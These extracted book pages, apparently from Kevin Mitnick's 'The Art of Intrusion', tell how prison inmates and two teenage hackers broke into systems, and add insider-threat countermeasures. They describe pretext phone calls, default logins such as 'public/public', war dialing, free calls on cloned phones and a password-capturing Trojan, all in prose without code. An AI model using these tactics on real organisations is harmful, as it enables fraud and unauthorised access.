            "text": "tight. But we were able to get our hands on a couple.” When they were\nready to go online from the commissary, “What we would do was dial up\non the inner-unit phone lines and razz into the Agriculture Department.”\nTranslation: From the commissary, the guys would enter a command\ninstructing the computer modem to dial a phone call over an internal\nphone line. That call would be received by a modem in the farm shop, a\nmodem connected to Danny’s server. That server was on a local network\nto all the other computers in the office, some of which had modems con-\nnected to external phone lines. With commissary and Ag Office com-\nputer networks talking to each other over the internal phone line, the\nnext command would instruct one of those Ag Office computers to dial\nout to the Internet. Voilà! Instant access.\nWell, not quite. The two hackers still needed an account with an Internet\nservice provider. Initially, they used the login names and passwords of per-\nsonnel who worked in the department, “when we knew they were gonna\nbe out of town hunting or something like that,” says Danny. This infor-\nmation had been gleaned by installing on the other computers software\ncalled “BackOrifice,” a popular remote monitoring tool that gave them\ncontrol of a remote computer as if they were sitting right in front of it.\nOf course, using other people’s passwords was risky — with all sorts of\nways you might get caught. It was William this time who came up with a\nsolution. “I got my parents to pay for us to have Internet access with a\nlocal service company,” so it was no longer necessary to use other peo-\nple’s sign-on information.\nEventually they kept the Internet connection through the Agriculture\nOffice going 24/7. “We had two FTP servers running down there down-\nloading movies and music and more hacking tools and all kinds of stuff like\nthat,” says Danny. “I was getting games that hadn’t even been released yet.”\nNearly Caught\nIn their commissary headquarters, William hooked up sound cards and\nexternal speakers so they could play music or hear the soundtrack as they\nwatched a downloaded movie. If a guard asked what they were doing,\nWilliam told them, “I don’t ask your business, don’t ask mine.”\nI told [the guards] all the time there’s some things in life that I can\npromise. Number one, I won’t have a pistol and I won’t shoot any-\nbody in here. Number two, I will not do drugs and dilute my mind.\nNumber three, I’m not gonna have a pimp and I’m not gonna be\na pimp. Number four, I won’t mess with a female officer. \nI couldn’t promise them that I wouldn’t fight. I never lied to ’em.\nAnd they respected my honesty and my forthrightness, and so \nThe Art of Intrusion\n56\n"
        },
        {
            "page_number": 78,
            "text": "they’d do things for me. You can get guards to do favors by \nconversation.\nConversation rules the nation. You talk women out of their\npanties, see what I’m saying, you talk men into doing what you\nwant them to do for you.\nBut no matter how clever a talker a prisoner may be, no guard is going\nto allow an inmate free reign with computers and outside phone lines. So\nhow did these two get away with their hacker escapades in plain view of\nthe guards? William explained:\nWe were able to do a lot of the stuff we did because they looked at\nus like half wits. We’re in the seat of redneck-dom, so the bosses\n[guards] had no idea what we were doing. They couldn’t even\nfathom what we were capable of.\nAnother reason would have to be that these two inmates were doing com-\nputer work others had been paid to take care of. “Most of the people they\nhad there that were supposed to be in the know about things like comput-\ners,” says William, “they just weren’t capable, so they had inmates doing it.”\nThis book is full of stories of the chaos and damage hackers can cause,\nbut William and Danny were not bent on criminal mischief. They merely\nwanted to enhance their growing computer skills and keep themselves\nentertained — which under their circumstances is hardly difficult to under-\nstand. It’s important to William that people appreciate the distinction.\nWe never did abuse it or hurt anybody. We never did. I mean from\nmy standpoint, I deemed it necessary to learn what I wanted to\nlearn so I could go straight and be successful once I was released.\nWhile the Texas prison officials remained in the dark about what was\ngoing on, they were fortunate that William and Danny had benign motives.\nImagine what havoc the two might have caused; it would have been child’s\nplay for these guys to develop a scheme for obtaining money or property\nfrom unsuspecting victims. The Internet had become their university and\nplayground. Learning how to run scams against individuals or break in to\ncorporate sites would have been a cinch; teenagers and preteens learn these\nmethods every day from the hacker sites and elsewhere on the Web. And\nas prisoners, Danny and William had all the time in the world. \nMaybe there’s a lesson here: Two convicted murderers, but that didn’t\nmean they were scum, rotten to the core. They were cheaters who hacked\ntheir way onto the Internet illegally, but that didn’t mean they were will-\ning to victimize innocent people or naively insecure companies. \nChapter 3\nThe Texas Prison Hack\n57\n"
        },
        {
            "page_number": 79,
            "text": "Close Call\nThe two neophyte hackers didn’t let the pleasurable distraction of\nInternet entertainment slow their learning, however. “I was able to get\nthe books that I wanted from my family,” says William, who felt his\nescapades were a form of sorely needed hands-on training. “I wanted to\nunderstand the intricate workings of a TCP/IP network. I needed that\nkind of knowledge for when I got out.” \nIt was an education but it was fun, too — you know what I’m\nsaying? It was fun because I’m an A-type personality — I like\nliving on the edge. And it was a way to snub our nose at “the\nman.” Because they were clueless.\nBesides the serious side and the fun side of their Internet use, Danny\nand William also got a few kicks from socializing. They started electronic\nfriendships with some ladies, meeting them in online chat rooms and\ncommunicating by e-mail. With a few, they acknowledged they were in\nprison; with most, they neglected to mention the fact. No surprise there.\nLiving on the edge can be invigorating but always carries a dire risk.\nWilliam and Danny could never stop looking over their shoulders. \n“One time we got close to getting caught,” William remembered. “One\nof the officers we didn’t like because he was real paranoid. We didn’t like\nto be online while he was working.”\nThis particular guard called the commissary one day and found the line\ncontinually busy. “What made him freak out was that one of the other\nguys working in the kitchen had started a relationship with a nurse in the\nprison clinic.” The guard suspected that the prisoner, George, was tying\nup the line with an unauthorized call to his nurse fiancée. In reality, the\nphone line was tied up because William was using the Internet. The\nguard hurried to the commissary. “We could hear the key in the gate, so\nwe knew somebody was coming. We shut everything down.”\nWhen the guard arrived, William was entering reports on the computer\nas Danny innocently looked on. The guard demanded to know why the\nphone line had been busy for so long. William was ready for him and\nreeled off a story about needing to make a call to get information for the\nreport he was working on.\nWe couldn’t have gotten an outside line from back there, and he\nknew it, but this guy was just super-paranoid. He thought that\nsomehow we had helped George call his fiancée.\nThe Art of Intrusion\n58\n"
        },
        {
            "page_number": 80,
            "text": "Whether he believed William’s story or not, without proof the guard\ncouldn’t do anything. George later married the nurse; as far as William\nknows, he’s still in prison and still happily married.\nGrowing Up\nHow does a youngster like William — a kid from a stable home with car-\ning, supportive parents — land in prison? “My growing up was excellent,\nman. I was a C student but very smart. Never played football and all that\nstuff, but never got into any trouble until I went off to college.” \nBeing raised Southern Baptist was not a positive experience for William.\nToday, he feels that mainstream religion can harm a young person’s self-\nesteem. “You know, teaching that you’re worthless from the get-go.” He\nattributes his poor choices in part to the fact that he had become con-\nvinced he couldn’t be successful. “You know, I had to gain my self-respect\nand self-esteem from somewhere and I gained it from people fearing me.”\nA student of philosophy, William understood what Friedrich Nietzsche\nmeant by a “metamorphosis of the spirit”:\nI don’t know if you’ve ever read any Nietzsche, but he spoke of the\ncamel, the lion, and the child. And I was really a camel — I did\nwhat I thought would make people happy to gain self-worth from\npeople liking me, rather than me liking myself and carrying\nmyself on my own merit.\nDespite this, William made it through high school with an unblemished\nrecord. His troubles started after he enrolled in a junior college in the\nHouston area, then transferred to a school in Louisiana to study aviation.\nThe instinct to please others turned into a need for respect.\nI saw that I could make money selling Ecstasy and stuff. People\nfeared me ’cause I was always armed and would always fight,\nand you know, just live life like an idiot. And then got myself in\na situation of a drug deal gone bad. \nHe and his customer ended up rolling around, struggling for control.\nThe other guy’s buddy showed up; it was two against one, and William\nknew he had to do something desperate or he would never walk away\nfrom there. He pulled out his gun and fired. And the man was dead. \nHow does a boy from a strong, stable family face this hard reality? How\ndoes he share the dreadful news?\nOne of the hardest things in my life to do was tell my mother that\nI did it. Yeah, it was very hard.\nChapter 3\nThe Texas Prison Hack\n59\n"
        },
        {
            "page_number": 81,
            "text": "William had a lot of time to think about what landed him in prison. He\ndoesn’t blame anyone but himself. “You know, it was just the choices I\nmade because my self-esteem was wrecked. And it wasn’t nothing that\nmy parents did because they brought me up the way that they thought\nthey should.”\nFor Danny, everything went wrong in a single night. \nI was just a stupid kid. The night of my eighteenth birthday, they\ngave me a big party. On the way home, a couple of the girls\nneeded to use the restroom, so I pulled off at a restaurant. \nWhen they came out, they had a couple of guys following them\nand harassing them. We piled out of the car and there was a big\nfight, and before everything was over, I ran over one of them. \nAnd then I panicked and we drove off. I left the scene.\nIt was the Richard Nixon/Martha Stewart syndrome at work: not\nbeing willing to step up and take responsibility for his action. If Dan\nhadn’t driven off, the charge would most likely have been manslaughter.\nLeaving the scene compounded the mistake, and once he was tracked\ndown and arrested, it was too late for anyone to believe it might have\nbeen accidental.\nBack in the Free World\nWilliam was a quarter of the way through a 30-year sentence, but he\nwasn’t having any success on his annual visits before the parole board.\nHis talent for taking the initiative again came to the fore. He began writ-\ning letters to the parole board, one letter every two weeks, with copies\naddressed individually to each of the three board members. The letters\ndetailed how constructive he was being: “What courses I was taking, the\ngrades I was getting, the computer books I was reading, and so on,”\nshowing them that “I’m not frivolous and I’m not wasting my time.” \nHe says, “One of the members told my mom, ‘I got more mail from\nhim than my six kids combined.’” It worked: He kept it up for almost a\nyear and on his next appearance before the board, they signed him out.\nDanny, on a shorter sentence, was released about the same time.\nSince leaving prison, both William and Danny live fiercely determined\nto stay out of trouble, working computer-related jobs with skills gained\nduring their years “inside.” While each took college-level tech courses in\nprison, both believe their hands-on experience, perilous though it was,\ngave them the advanced skills they now depend on for their living. \nThe Art of Intrusion\n60\n"
        },
        {
            "page_number": 82,
            "text": "Danny earned 64 college credit hours in prison, and though he fell\nshort of earning any professional certifications, now works with high-\npowered, critical applications including Access and SAP.\nBefore prison, William completed his freshman year in college and was\na sophomore, with his parents supporting him. Once he got out, he was\nable to continue his education. “I applied for financial aid and got it and\nwent to school. I got straight A’s and also worked in the school’s com-\nputer center.”\nHe now has two associate’s degrees — in liberal arts and network com-\nputer maintenance — both paid for by financial aid. Despite the two\ndegrees, William didn’t have quite the luck of Danny in landing a com-\nputer job. So he took what he could find, accepting a position involving\nphysical labor. Credit his determination and his employer’s open-minded\nattitude: As soon as the firm recognized his computer skills, he was pulled\noff the physical tasks and set to work at a job that makes better use of his\ntechnical qualifications. It’s routine business computing, not the network\ndesigning he’d rather be doing, but he satisfies that urge by spending\ntime on weekends figuring out low-cost ways of networking the com-\nputer systems for two Houston-area churches, as a volunteer.\nThese two men stand as exceptions. In one of the most pressing and\nleast-discussed challenges of contemporary American society, most felons\nreleased from prison face a near-impossible hurdle of finding work, espe-\ncially any job that pays enough to support a family That’s not hard to\nunderstand: How many employers can be confident about the idea of hir-\ning a murderer, an armed robber, a rapist? In many states they are ineli-\ngible for welfare, leaving few ways of supporting themselves while\ncontinuing the near-hopeless search for work. Their options are severely\nlimited — and then we wonder why so many quickly return to prison,\nand assume it must be that they lack the will to live by the rules.\nToday, William has some solid advice for young people and their parents:\nI don’t think there’s any one thing you can say to a youngster to\nmake them change, other than to have value in themselves, you\nknow, and never take the short road, ’cause the long road always\nseems to be the most rewarding in the end. And you know, never\nsit stagnant because you don’t feel you’re worthy enough to do\nwhat you need to do. \nDanny would no doubt also agree with these words of William’s:\nI wouldn’t trade my life now for nothin’ on earth. I’ve come to\nbelieve that I can gain my way in life by my own merit and not\nChapter 3\nThe Texas Prison Hack\n61\n"
        },
        {
            "page_number": 83,
            "text": "take shortcuts. Over the years I learned that I could have people\nrespect me on my own merit. That’s what I try to live by today.\nINSIGHT\nThis story makes clear that many computer attacks can’t be protected\nagainst just by securing the perimeter. When the villain isn’t some teen\nhacker or computer-skilled thief but an insider — a disgruntled\nemployee, a bitter former worker recently fired, or, as in this case, some\nother type of insiders like William and Danny. \nInsiders often pose a greater threat than the attackers we read about in\nthe newspapers. While the majority of security controls are focused on\nprotecting the perimeter against the outside attacker, it’s the insider who\nhas access to physical and electronic equipment, cabling, telephone clos-\nets, workstations, and network jacks. They also know who in the organi-\nzation handles sensitive information and what computer systems the\ninformation is stored on, as well as how to bypass any checks put in place\nto reduce theft and fraud. \nAnother aspect of their story reminds me of the movie Shawshank\nRedemption. In it, a prisoner named Andy is a CPA. Some of the guards\nhave him prepare their tax returns and he gives them advice on the best\nways of structuring their finances to limit their tax liability. Andy’s abili-\nties become widely known among the prison staff; leading to more book-\nkeeping work at higher levels in the prison, until eventually he’s able to\nexpose the Warden, who has been “cooking” the books. Not just in a\nprison but everywhere, we all need to be careful and discreet about\nwhom we give sensitive information to.\nIn my own case, the United States Marshal Service created a high level\nof paranoia about my capabilities. They placed a warning in my file cau-\ntioning prison officials not to disclose any personal information to me —\nnot even giving me their names, since they believed a wild rumor that I\ncould tap into the government’s plethora of secret databases and erase\nthe identity of anyone, even a Federal Marshal. I think they had watched\n“The Net” one too many times.\nCOUNTERMEASURES\nAmong the most significant security controls that can be effective in pre-\nventing and detecting insider abuse are these:\nAccountability. Two common practices raise accountability issues: the\nuse of so-called role-based accounts — accounts shared by multiple\nusers; and the practice of sharing account information or passwords\nThe Art of Intrusion\n62\n"
        },
        {
            "page_number": 84,
            "text": "to permit access when an employee is out of the office or unavail-\nable. Both create an environment of plausible deniability when\nthings go seriously wrong. \nVery simply, sharing account information should be discouraged if\nnot altogether prohibited. This includes allowing one worker to\nuse his/her workstation when this requires providing sign-on \ninformation. \nTarget-rich environment. In most businesses, an attacker who can\nfind a way of getting into the work areas of the facility can easily\nfind a way to gain access to systems. Few workers lock their com-\nputers when leaving their work area or use screensaver or start-up\npasswords. It only takes seconds for a malicious person to install\nstealth monitoring software on an unprotected workstation. In a\nbank, tellers always lock their cash drawer before walking away.\nUnfortunately, it’s rare to see this practice being used at other\ntypes of institutions. \nConsider implementing a policy that requires the use of a screen-\nsaver password or other program to electronically lock the\nmachine. Ensure that the IT department enforces this policy\nthrough configuration management. \nPassword management. My girlfriend was recently employed by a\nFortune 50 company that uses a predictable pattern in assigning\npasswords for outside web-based intranet access: the user’s name \nfollowed by a random three-digit number. This password is set\nwhen the person is hired and cannot ever be changed by the\nemployee. This makes it possible for any employee to write a\nsimple script that can determine the password in no more than\n1,000 tries — a matter of a few seconds.\nEmployee passwords, whether set by the company or selected by\nthe employees, must not have a pattern that makes them easily \npredictable.\nPhysical access. Knowledgeable employees familiar with the com-\npany’s network can easily use their physical access to compromise\nsystems when no one is around. At one point I was an employee\nof GTE of California, the telecommunications company. Having\nphysical access to the building was like having the keys to the \nkingdom — everything was wide open. Anyone could walk up to\na workstation in an employee’s cubicle or office and gain access\nto sensitive systems. \nIf employees would properly secure their desktops, workstations, \nlaptops, and PDA devices, by using secure BIOS passwords and\nlogging out, or locking their computer, the bad guy on the inside\nwill need more time to accomplish his objectives.\nChapter 3\nThe Texas Prison Hack\n63\n"
        },
        {
            "page_number": 85,
            "text": "Train employees to feel comfortable challenging people whose\nidentity is uncertain, especially in sensitive areas. Use physical secu-\nrity controls like cameras and/or badge access systems to control\nentry, surveillance, and movement within the facility. Consider\nperiodically auditing physical entry and exit logs to identify unusual\npatterns of behavior, especially when a security incident arises.\n“Dead” cubicles and other access points. When an employee\nleaves the company or is transferred to a different position, leaving\na cubicle empty, a malicious insider can connect via the live net-\nwork jacks in the cubicle to probe the network while protecting\nhis/her identity. Or worse, a workstation often remains behind in\nthe cubicle, plugged into the network ready for anyone to use,\nincluding the malicious insider (and, as well, any unauthorized \nvisitor who discovers the abandoned cubicle).\nOther access points in places like conference rooms also offer easy\naccess to the insider bent on doing damage.\nConsider disabling all unused network jacks to prevent anonymous\nor unauthorized access. Ensure that any computer systems in\nvacant cubicles are secured against unauthorized access.\nExiting personnel. Any worker who has given notice of termination\nshould be considered a potential risk. Such employees should be\nmonitored for any access to confidential business information,\nespecially copying or downloading a significant amount of data.\nWith tiny USB flash drives now readily available that can hold a\ngigabyte or more of data, it can be a matter of minutes to load\nup large amounts of sensitive information and walk out the door\nwith it.  \nIt should be routine practice to put restrictions on an employee’s\naccess prior to his/her being notified of a termination, demotion,\nor undesirable transfer. Also, consider monitoring the employee’s\ncomputer usage to determine any unauthorized or potentially\nharmful activities.\nInstallation of unauthorized hardware. The malicious insider can \neasily access another employee’s cubicle and install a hardware or \nsoftware keystroke logger to capture passwords and other confiden-\ntial information. Again, a flash drive makes stealing data easy. A\nsecurity policy that prohibits any introduction of hardware devices\nwithout written permission, while justified in some circumstances,\nis admittedly difficult to police; benign employees will be inconve-\nnienced, while the malicious have no incentive for paying attention\nto the rule.\nThe Art of Intrusion\n64\n"
        },
        {
            "page_number": 86,
            "text": "In certain organizations that work with extremely sensitive infor-\nmation, removing or disabling the USB port on workstations may\nbe a necessary control.\nWalk-around inspections should be conducted regularly. In particular,\nthese inspections should verify that the machines have not had unau-\nthorized wireless devices, hardware keystroke loggers, or modems\nattached, and that no software has been installed except as authorized.  \nSecurity or IT personnel can check for unauthorized wireless access\npoints in the immediate vicinity by using a PDA that supports\n802.11, or even a laptop equipped with Microsoft XP and a wire-\nless card. Microsoft XP has a built in zero-configuration utility that\npops up a dialogue box when it detects a wireless access point in\nthe immediate vicinity.\nCircumventing processes. As employees learn about critical business\nprocesses within the organization, they’re in a good position to\nidentify any weaknesses with the checks and balances used to detect\nfraud or theft. A dishonest worker is in a position to steal or cause\nother significant harm based on their knowledge of how the business\noperates. Insiders usually have unfettered access to offices, file cabi-\nnets, internal mailing systems, and have knowledge of the day-to-\nday business procedures.\nConsider analyzing sensitive and critical business processes to iden-\ntify any weaknesses so countermeasures can be implemented. In\ncertain situations, developing separation of duties requirement in\nthe process, where a sensitive operation performed by one person is\nchecked independently by another, can reduce the security risk.\nOn-site visitor policies. Establish a security policy for outside visi-\ntors, including workers from other office locations. An effective\nsecurity control is to require visitors to present State-issued \nidentification prior to being allowed into the facility, and recording\nthe information in a security log. If a security incident should arise,\nit may be possible to identify the perpetrator.\nSoftware inventory and auditing. Maintain an inventory of all\nauthorized software installed or licensed for each system and peri-\nodically audit these systems for compliance. This inventory process\nnot only ensures legal compliance with software licensing regulations,\nbut also may be used to identify any unauthorized software installa-\ntions that could negatively affect security. \nUnauthorized installation of malicious software like keystroke log-\ngers, adware, or others type of spyware are hard to detect, depend-\ning on how clever the developers were at hiding the program\nwithin the operating system. \nChapter 3\nThe Texas Prison Hack\n65\n"
        },
        {
            "page_number": 87,
            "text": "Consider using third-party commercial software to identify these\nmalicious types of programs, such as the following:\n●\nSpycop (available at www.spycop.com)\n●\nPestPatrol (available at www.pestpatrol.com)\n●\nAdware (available from www.lavasoftusa.com)\nAudit systems for software integrity. Employees or malicious insid-\ners could replace critical operating system files or applications that\ncould be used by bypass security controls. In this story, the inmate\nhackers had changed the PC Anywhere application to run without\ndisplaying an icon in the system tray so they would not be detected.\nThe prison officials in this story never realized that their every move\nwas periodically being monitored while Danny and William virtually\nlooked over their shoulders.\nIn some circumstances, it may be appropriate to conduct an\nintegrity audit, and to use a third-party application that notifies the\nappropriate staff when any changes are made to system files and\napplications on the “watch list.”\nExcessive privileges. In Windows-based environments, many end-\nusers are logged into accounts with local administrator rights on\ntheir own machines. This practice, while more convenient, makes it\nvery easy for a disgruntled insider to install a keystroke logger or\nnetworking monitoring (sniffer) on any systems where he has local\nadministrator privileges. Remote attackers also may send malicious\nprograms hidden within an email attachment that may be opened\nby the unsuspecting user. The threat posed by these attachments\ncan be minimized by using the “least privilege” rule, which means\nthat users and programs should run with the fewest privileges nec-\nessary to perform their required tasks.  \nTHE BOTTOM LINE\nIn some situations, common sense dictates that elaborate security pre-\ncautions are a waste of time. In a military school, for example, you would\nnot expect the student body to be filled with people looking for every\npossible opportunity to cheat or challenge the rules. In an elementary\nschool, you would not expect ten-year-olds to be more knowledgeable\nabout computer security than the staff technology guru. \nAnd in a prison, you would not expect that inmates, closely watched,\nliving under a set of rigid rules, would find the means not just to work\ntheir way onto the Internet but then to spend hours at a time, day after\nThe Art of Intrusion\n66\n"
        },
        {
            "page_number": 88,
            "text": "day, enjoying music, movies, communications with the opposite sex, and\nlearning more and more about computers.\nThe moral: If you are in charge of information security for any school,\nworkgroup, company, or other entity — you have to assume that some\nmalicious adversary, including someone inside your organization — is\nlooking for that small crack in the wall, the weakest link of your security\nchain to break your network. Don’t assume that everyone is going to play\nby the rules. Do what is cost-effective to prevent potential intrusions, but\ndon’t forget to keep looking out for what you missed. The bad guys are\ncounting on you to be careless.\nChapter 3\nThe Texas Prison Hack\n67\n"
        },
        {
            "page_number": 89,
            "text": ""
        },
        {
            "page_number": 90,
            "text": "69\nChapter 4\nCops and Robbers\nI walked into this classroom full of law enforcement officers and said, “Do\nyou guys recognize any of these names?” I read off a list of the names. One\nfederal officer explained, “Those are judges in the U.S. District Court in\nSeattle.” And I said, “Well, I have a password file here with 26 passwords\ncracked.” Those federal officers about turned green.\n— Don Boelling, Boeing Aircraft\nM\natt and Costa weren’t planning an attack on Boeing Aircraft;\nit just turned out that way. But the outcome of that incident\nand others in their chain of hacker activities stand as a warn-\ning. The two could be the poster boys in a campaign to warn other kid\nhackers too young to appreciate the consequences of their actions.\nCosta (pronounced “COAST-uh”) Katsaniotis started learning about\ncomputers when he got a Commodore Vic 20 at age 11 and began pro-\ngramming to improve the machine’s performance. At that tender age, he\nalso wrote a piece of software that allowed his friend to dial up and see a\nlist of the contents of his hard drive. “That’s where I really started with\ncomputers and loving the what-makes-things-work aspect of having a\ncomputer.” And not just programming: He probed the hardware,\nunworried, he said, about losing the screws “because I started out taking\nthings apart when I was three.” \nHis mother sent him to a Christian private school until eighth grade and\nthen to a public school. At that age his tastes in music leaned toward U2\n(it was his first album and he’s still a big fan), as well as Def Leppard and\n“some of the darker music”; meanwhile his tastes in computing were\nexpanding to include “getting into what I could do with phone numbers.”\n"
        },
        {
            "page_number": 91,
            "text": "A couple of older kids had learned about 800-WATS extenders, phone\nnumbers they could use to make free long-distance calls.\nCosta loved computers and had a natural understanding of them.\nPerhaps the absence of a father heightened the teen’s interest in a world\nwhere he enjoyed complete control.\nThen in high school I kinda took a break and I figured out what\ngirls were. But I still always had my passion for computers and\nalways kept those close at hand. I really didn’t start taking off\nwith the hacking until I had a computer that could handle it and\nthat was the Commodore 128.\nCosta met Matt — Charles Matthew Anderson — on a BBS (bulletin\nboard system) in the Washington state area. “We were friends for I think\nprobably a year via telephone and messaging on these bulletin boards\nbefore we actually even met.” Matt — whose handle is “Cerebrum” —\ndescribes his childhood as “pretty normal.” His father was an engineer at\nBoeing and had a computer at home that Matt was allowed to use. It’s\neasy to imagine the father so uncomfortable with the boy’s preferences in\nmusic (“industrial and some of the darker stuff”) that he overlooked what\nthe dangerous path Matt was following on the computer.\nI started learning how to program basic when I was about nine\nyears old. I spent most of my teenage years getting into graphics\nand music on the computer. That’s one of the reasons I still like com-\nputers today — the hacking on that multimedia stuff is really fun.\nI first got into the hacking stuff in my senior year in high school,\ngetting into the phreaking side of it, learning how to take advan-\ntage of the telephone network that was used by the teachers and\nadministrators to make long distance calls. I was heavily into\nthat in my high school years.\nMatt finished high school among the top 10 in his class, entered the\nUniversity of Washington, and began learning about legacy computing:\nmainframe computing. At college, with a legitimate account on a Unix\nmachine, he started teaching himself about Unix for the first time, “with\nsome help from the underground bulletin-board and web sites.”\nPhreaking\nAfter they became a team, it seemed as if Matt and Costa were leading\neach other in the wrong direction, down the road of hacking into the\ntelephone system, an activity known as “phreaking.” One night, Costa\nremembers, the two went on an expedition that hackers call “dumpster\nThe Art of Intrusion\n70\n"
        },
        {
            "page_number": 92,
            "text": "diving,” scouring through the trash left outside the relay towers of the cell\nphone companies. “In the garbage amongst coffee grounds and other\nstinky stuff, we got a list of every tower and each phone number” — the\nphone number and electronic serial number, or ESN, that is a unique\nidentifier assigned to each cell phone. Like a pair of twins remembering a\nshared event from childhood, Matt chimes in: “These were test numbers\nthat the technicians would use to test signal strengths. They would have\nspecial mobile phones that would be unique to that tower.” \nThe boys bought OKI 900 cells phones and a device to burn new pro-\ngramming onto the computer chips in the phones. They did more than\njust program new numbers; while they were at it, they also installed a spe-\ncial firmware upgrade that allowed them to program any desired phone\nnumber and ESN number into each of the phones. By programming the\nphones to the special test numbers they had found, the two were provid-\ning themselves free cell phone service. “The user chooses which number\nhe wants to use for placing a call. If we had to we could switch through\nto another number real quick,” Costa said.\n(This is what I call “the Kevin Mitnick cellular phone plan” — zero a\nmonth, zero a minute, but you may end up paying a heavy price at the\nend, if you know what I mean.)\nWith this reprogramming, Matt and Costa could make all the cell\nphone calls they wanted, anywhere in the world; if the calls were logged\nat all, they would have gone on the books as official business of the cell\ncompany. No charges, no questions. Just the way any phone phreaker or\nhacker likes it.\nGetting into Court\nLanding in court is about the last thing any hacker wants to do, as I know\nonly too well. Costa and Matt got into court early in their hacking\ntogether, but in a different sense.\nBesides dumpster diving and phone phreaking, the two friends would\noften set their computers war dialing, looking for dial-up modems that\nmight be connected to computer systems they could break into. They could\nbetween them check out as many as 1,200 phone numbers in a night. With\ntheir machines dialing non-stop, they could run through an entire telephone\nprefix in two or three days. When they returned to their machines, the com-\nputer logs would show what phone numbers they had gotten responses\nfrom. “I was running my wardialer to scan a prefix up in Seattle, 206-553,”\nMatt said. “All those phone numbers belong to federal agencies of some sort\nor another. So just that telephone prefix was a hot target because that’s\nwhere you would find the federal government computers.” In fact, they had\nno particular reason for checking out government agencies.\nChapter 4\nCops and Robbers\n71\n"
        },
        {
            "page_number": 93,
            "text": "Costa: We were kids. We had no master plan.\nMatt: What you do is you just kinda throw the net out in the sea\nand see what kind of fish you come back with. \nCosta: It was more of a “What can we do tonight?” type thing,\n“What can we scan out tonight?”\nCosta looked at his war dialer log one day and saw that the program\nhad dialed into a computer that returned a banner reading something like\n“U.S. District Courthouse.” It also said, “This is federal property,” He\nthought, “This looks juicy.”\nBut how to get into the system? They still needed a username and pass-\nword. “I think it was Matt that guessed it,” Costa says. The answer was\ntoo easy: Username: “public.” Password: “public.” So there was “this\nreally strong, scary banner” about the site being federal property, yet no\nreal security barring the door.\n“Once we were into their system, we got the password file,” Matt says.\nThey easily obtained the judges’ sign-on names and passwords. “Judges\nwould actually review docket information on that court system and they\ncould look at jury information or look at case histories.” \nSensing the risk, Matt says, “We didn’t explore too far into the court.”\nAt least, not for the moment.\nGuests of the Hotel\nMeanwhile, the guys were busy in other areas. “One of the things we also\ncompromised was a credit union. Matt discovered a pattern in the num-\nbers for their codes that made it easy for us to make telephone calls” at\nthe association’s expense. They also had plans to get into the computer\nsystem of the Department of Motor Vehicles “and see what kind of dri-\nver’s licenses and stuff we could do.” \nThey continued to hone their skills and break into computers. “We\nwere on a lot of computers around town. We were on car dealerships.\nOh, and there was one hotel in the Seattle area. I had called them and\nacted like I was a software technician for the company that made the\nhotel reservation software. I talked to one of the ladies at the front desk\nand explained that we were having some technical difficulties, and she\nwouldn’t be able to do her job correctly unless she went ahead and made\na few changes.”\nWith this standard, familiar social engineering gambit, Matt easily\nfound out the logon information for the system. “The username and\npassword were ‘hotel’ and ‘learn.’” Those were the software developers’\ndefault settings, never changed. \nThe Art of Intrusion\n72\n"
        },
        {
            "page_number": 94,
            "text": "The break-in to the computers of the first hotel provided them a learn-\ning curve on a hotel reservations software package that turned out to be\nfairly widely used. When the boys targeted another hotel some months\nlater, they discovered that this one, too, might be using the software they\nwere already familiar with. And they figured this hotel might be using the\nsame default settings. They were right on both counts. According to Costa:\nWe logged into the hotel computer. I had a screen basically just\nlike they would have right there in the hotel. So I logged in and\nbooked a suite, one of the top $300 a night suites with a water\nview and the wet bar and everything. \nI used a fake name, and put a note that a $500 cash deposit had\nbeen made on the room. Reserved for a night of hell-raising. We\nbasically stayed there for the whole weekend, partied, and emptied\nout the mini bar.\nTheir access to the hotel’s computer system also gave them access to\ninformation on guests who had stayed at the hotel, “including their\nfinancial information.”\nBefore checking out of the hotel, the boys stopped by the front desk\nand tried to get change from their “cash deposit.” When the clerk said\nthe hotel would send a check, they gave him a phony address and left.\n“We were never convicted of that,” Costa says, adding, “Hopefully the\nstatute of limitations is up.” Any regrets? Hardly. “That one had a little\nbit of a payoff in that wet bar.”\nOpening a Door\nAfter that wild weekend, the emboldened boys went back to their com-\nputers to see what else they could do with the hack into the District\nCourt. They quickly found out that the operating system for the court\ncomputer had been purchased from a company we’ll call Subsequent.\nThe software had a built-in feature that would trigger a phone call to\nSubsequent anytime software patches were needed — for example, “If a\ncustomer of a Subsequent computer bought a firewall and the operating\nsystem needed patches for the firewall to run, the company had a method\nfor logging in to their corporate computer system to get the patches.\nThat’s basically how it was back then,” Costa explained.\nMatt had a friend, another C programmer, who had the skills to write\na Trojan — a piece of software that provides a secret way for a hacker to\nget back onto a computer he has made his way into earlier. This was very\nhandy if passwords are changed or other steps are taken to block access.\nThrough the computer at the District Court, Matt sent the Trojan to the\nChapter 4\nCops and Robbers\n73\n"
        },
        {
            "page_number": 95,
            "text": "Subsequent corporate computer. The software was designed so that it\nwould also “capture all the passwords and write them to a secret file, as\nwell as allow us a root [administrator access] bypass in case we ever got\nlocked out.”\nGetting into the Subsequent computer brought them an unexpected\nbonus: access to a list of other companies running the Subsequent oper-\nating system. Pure gold. “It told us what other machines we could\naccess.” One of the companies named on the list was a giant local firm,\nthe place where Matt’s father worked: Boeing Aircraft.\n“We got one of the Subsequent engineer’s username and password,\nand they worked on the boxes that he had sold Boeing. We found we had\naccess to login names and passwords to all the Boeing boxes,” Costa said.\nThe first time Matt called the phone number for external connections\nto the Boeing system, he hit a lucky break. \nThe last person that called in hadn’t hung up the modem properly\nso that when I dialed in I actually had a session under some user.\nI had some guy’s Unix shell and it’s like, “Wow, I’m suddenly into\nthe guy’s footprint.” \n(Some early dial-up modems were not configured so they would auto-\nmatically log off the system when a caller hung up. As a youngster, when-\never I would stumble across these types of modem configurations, I\nwould cause the user’s connection to be dropped by either sending a\ncommand to a telephone company switch, or by social engineering a\nframe technician to pull the connection. Once the connection was bro-\nken, I could dial in and have access to the account that was logged in at\nthe time of the dropped connection. Matt and Costa, on the other hand,\nhad simply stumbled into a connection that was still live.)\nHaving a user’s Unix shell meant that they were inside the firewall, with\nthe computer in effect standing by, waiting for him to give instructions.\nMatt recalls:\nSo immediately I went ahead and cracked his password and then\nI used that on some local machines where I was able to get root\n[system administrator] access. Once I had root, we could use some\nof the other accounts, try going onto some of the other machines\nthose people accessed by looking at their shell history.\nIf it was a coincidence that the modem just happened to online when\nMatt called, what was going on at Boeing when Matt and Costa started\ntheir break-in to the company was an even greater coincidence. \nThe Art of Intrusion\n74\n"
        },
        {
            "page_number": 96,
